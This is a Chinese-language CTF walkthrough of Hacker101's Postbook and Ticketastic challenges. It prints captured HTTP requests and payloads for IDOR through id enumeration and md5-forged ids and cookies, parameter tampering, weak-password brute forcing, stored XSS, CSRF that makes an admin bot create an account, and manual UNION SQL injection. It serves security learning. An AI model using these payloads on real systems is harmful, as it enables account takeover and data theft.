hi，大家好，我又來啦，接着第一篇和第二篇的進度，這次為大家帶來Hacker101 CTF的第七、八、九題：
廢話不多說，上題！
第七題Postbook
這道題的難度定位為Easy，不是很難，但是Flag卻有7個，涉及到多個漏洞，想要找全還是要費些功夫的。
打開主頁：
看來是個類似留言板的web應用，要留言需要登陸，先用test:test注冊個用戶試試,
注冊成功，回到登入界面,進入自己的主頁：
這個頁面有點多，我們需要細心觀察，留意一下幾點：
1.url地址為:http://xxxx/xxx/index.php?page=home.php，這里可能有文件包含漏洞
2.上方導航欄的幾個功能鏈接，需要一一測試
3.下方的Create post用於創建文本留言，注意For my own eyes only選項應該是控制創建的留言是否對所有人可見
4.下方出現了admin用戶
5.最下方出現了user用戶以及其公開的留言鏈接
我們先點擊最下方的留言鏈接進去看看：
注意這里的url：http://xxxx/xxx/index.php?page=view.php?id=3
依照經驗，這種自寫的留言板系統往往會存在越權訪問，所以刷新這個頁面，用burpsuite抓下包，
GET /xxx/index.php?page=view.php&id=§2§ HTTP/1.1 Host: xx.xx.xx.xx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://xx.xx.xx.xx/xx/index.php?page=view.php&id=3 Connection: close Cookie: id=e4da3b7fbbce2345d7772b0674a318d5; Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 送到Intruder模塊爆破一下id,將結果按Length排序：
注意幾個長度與眾不同的Response包，在其中找到兩個flag：
為什么一下有兩個flag呢，第一個id鏈接到了admin用戶的私有留言上，考察越權訪問，
另一個id比較大，應該是考察參數枚舉吧！
這里我們既然可以訪問到其他用戶的留言，那么能不能編輯其他用戶的留言呢？我們來嘗試一下，首先點擊導航欄的Write a new post，用當前用戶創建一條留言：
點擊Create Post創建留言:
點擊edit鏈接，編輯:
注意這里的url:http://xxxx/xxx/index.php?page=edit.php?id=13
我們修改其中的id為剛剛爆破出flag的id，例如2,http://xxxx/xxx/index.php?page=edit.php?id=2
看，本來屬於admin用戶的私人留言，現在我們也可以編輯了！
點擊Save post，看，系統為了“獎勵我們編輯了他人的留言”，給了我們一個flag：
接着試試能不能刪除他人的留言呢？回到下面這個頁面：
點擊delete鏈接,注意將包抓下來：
GET /xxxx/index.php?page=delete.php&id=aab3238922bcc25a6f606eb525ffdc56 HTTP/1.1 Host: xx.xx.xx.xx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://xx.xx.xx.xx/xxx/index.php?page=view.php&success=1&id=14&message= Connection: close Cookie: id=e4da3b7fbbce2345d7772b0674a318d5 Upgrade-Insecure-Requests: 1 注意與訪問留言和編輯留言不同的是，刪除鏈接url中的id是一個32的字符串，aab3238922bcc25a6f606eb525ffdc56,猜想這是一個hash值，把它放到md5解密網站跑了一下：
是個數字，由於hash不能逆向解密，所以我猜想刪除留言功能有着以下處理邏輯：
...
$result = $db->execute("select id from posts); foreach($result['id'] as id){ if($_GET['id'] === id){ $db->execute("delete from posts where id=$_GET['id']); } } ... 那么我們如果想要刪除id=2的留言(這條留言不屬於我們的當前用戶),只需要修改剛剛抓下的包中的id值為md5("2")，即c81e728d9d4c2f636f067f89cc14862c,再次發包即可：
看，又拿到一個flag！
至此，我們通過偽造信息編輯、修改、刪除其他用戶的post已經拿到了3個flag，想想還有什么，對！還有偽造他人進行留言，我們抓下創建post的包：
POST /xxx/index.php?page=create.php HTTP/1.1 Host: xx.xx.xx.xx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://xx.xx.xx.xx/xxx/index.php?page=create.php Content-Type: application/x-www-form-urlencoded Content-Length: 28 Connection: close Cookie: id=e4da3b7fbbce2345d7772b0674a318d5 Upgrade-Insecure-Requests: 1 title=abc&body=abc&user_id=5 如果正常發包，會為user_id=5的用戶添加一條留言，那么如果修改user_id=1呢，修改完畢后再次發包：
又出現了一個flag。
繼續，現在我們已經能夠完全偽造另一個用戶的所有動作了，那么我們能否通過某種方式偽造成其他用戶登陸呢？一般來說服務器識別用戶的方式是通過cookie，獲取其他用戶cookie的方式主要有兩種：一是通過xss漏洞接受其他用戶的cookie；二是破解cookie的構造方式偽造其他用戶的cookie，例如：假如普通用戶test的Cookie為：Cookie :"user_name":"test",那么我們有理由相信，admin用戶的Cookie應該為:Cookie :"user_name":"admin",當然實際情況不會那么簡單，往往還涉及到許多的密碼學知識。
回到這道題上來，看一下當前用戶的Cookie:
Cookie: id=e4da3b7fbbce2345d7772b0674a318d5e4da3b7fbbce2345d7772b0674a318d5貌似又是一個hash值，解密一下：
結果是5，猜測是代表用戶id為5，那么如果想要偽造用戶id為1的cookie，只需改為md5(“1”),即c4ca4238a0b923820dcc509a6f75849b,我們修改一下火狐的cookie：
然后刷新一下頁面，訪問http://xxxx/xxx/index.php
果然出現了flag。
好的，現在一共拿到了6個flag，第7個flag我想了很久，sql注入、XSS、源碼泄露等套路都試過了，還是沒有找到，無奈之下只好查看提示：
WTF！這也行，算我輸！抓下登錄包，
送到Intruder,用弱口令字典爆破，一會就出了結果:
用user:password登入，拿到最后的flag
第八題(Ticketastic: Demo Instance)&第九題(Ticketastic: Live Instance)
第八題和第九題其實是一題，第八題沒有flag，是第九題的web應用的測試版本，它的存在是為了給第九題以提示，第九題才是真正的生產環境。我們先打開第八題來看一下：
從功能和內容上判斷這是一個信息反饋系統，任何人都可以提交Ticket,但只有管理員才能登陸查看所有的Ticket，並且告知我們admin用戶的密碼是admin，我們提交一個Ticket試試：
回到主頁，用給我們的admin賬號登陸：
可以看到我們剛剛提交的tikcet已經出現這里了，同時注意到這里還有創建用戶的鏈接。
點開test是我們提交的ticket內容：
在這個頁面我們有兩點內容值得我們注意：
1.url：http://xxxx/xxx/ticket?id=2,我們試試訪問http://xxxx/xxx/ticket?id=2-1,顯示：
這與訪問http://xxxx/xxx/ticket?id=1的返回頁面結果是一樣的，說明這里可能有sql注入。
2.很顯然，我們提交的內容被保存在了數據庫里，並且在admin用戶的頁面呈現了出來，如果我們將ticket的內容換成XSS或者CSRF的payload，會不會讓admin用戶中招呢？我們來試一試，回到主頁，提交一個ticket，title和body都填<img src=x onerror=alert(1)>,登入admin用戶，剛登入就彈出了框框：
Good！既然這里可以XSS，我們可以怎樣利用呢？一種思路是架個服務器接收admin用戶的cookie（如果抓個包，可以看到cookie並沒有設置httponly），然而這里的靶場不能外聯，所以我放棄了這條思路，還有其他辦法嗎？CSRF有什么可以利用的點嗎？注意到上面的Create a new user鏈接，我們能否結合這個功能來創建我們的用戶呢？我們首先用admin用戶的面板創建用戶test:test，抓下包：
GET /xxx/newUser?username=test&password=test&password2=test HTTP/1.1 Host: xx.xx.xx.xx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://xx.xx.xx.xx/xxx/newUser Connection: close Cookie: session_level7a=eyJ1c2VyIjoiYWRtaW4ifQ.D-pwWw.xIfxmh00wlGwcQUBFWC92kk6gTM Upgrade-Insecure-Requests: 1 記下url請求：http://xxxx/xxx/newUser?username=root&password=123456&password2=123456,回到主頁再次提交一個ticket，這次title和body都填:<img src=newUser?username=root&password=123456&password2=123456>
然后再次登入admin用戶：
查看最下方那張無法正常顯示的圖片：
payload正常，應該奏效了，回到登入頁面，用root:123456成功登入！
好吧，測試版本系統的漏洞分析的差不多了，來研究一下上線版本吧！打開第九題：
界面和功能幾乎是一樣的，依然可以提交ticket和登入查看ticket，不過這次admin的密碼改了，我們無法登入觸發CSRF了，考慮了一下這邊可能有機器人訪問ticket頁面，所以依舊采用剛剛的payload，提交一個ticket，title和body依然填<img src='newUser?username=root&password=123456&password2=123456'>,提交，然后回到登入頁面，用root:123456登入，滿懷希望看見Flag，然而：
沒關系，換個要點擊的payload，也許這個機器人會主動點擊呢？
<a href="http://localhost/newUser?username=root&password=123456&password2=123456">haha</a>
嘗試登陸:
成功！真是個奇怪的機器人！點擊Flag Won't Work，拿到第一個Flag，注意下面的才是真Flag！
接下來，別忘了這里還有個sql注入漏洞，不過很奇怪，sqlmap居然跑不出來（如果有那位童鞋跑出來了可以和我說下)，所以只好手動注入，下面是過程：
http://xx.xx.xx.xx/xxx/ticket?id=1 order by 3 -- //判斷為3列 http://xx.xx.xx.xx/xxx/ticker?id=10 union select id,username,password from users where username='admin' -- //表名和列名都是猜的｡ﾟ(ﾟ´ω`ﾟ)ﾟ｡很奇怪information_schema中居然查不到表名 結果顯示，admin用戶的密碼就是第二個Flag：
